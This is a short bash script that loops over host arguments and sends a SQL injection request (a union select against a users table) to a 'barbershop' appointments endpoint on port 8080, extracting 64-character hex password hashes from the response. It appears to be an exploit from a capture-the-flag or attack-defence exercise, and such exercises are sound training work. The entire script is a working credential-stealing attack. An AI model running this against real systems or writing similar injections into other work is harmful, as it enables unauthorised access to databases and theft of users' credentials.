#!/bin/bash

if test -z "${1}"; then
    echo "Usage: ${0} <host>"
    exit
fi

while test -n "${1}"; do
    host=$1
    curl -s "http://${host}:8080/barbershop/listmyappointments?time=0&user=bogus&pass=bogus'%20and%201=2%20union%20select%201,1,1,password,name%20from%20users%20where%20'1'='1"|sed 's/.*<name>\(.*\)<\/name>.*/\1/g'|grep -E '^[A-F0-9]{64}$'
    shift
done
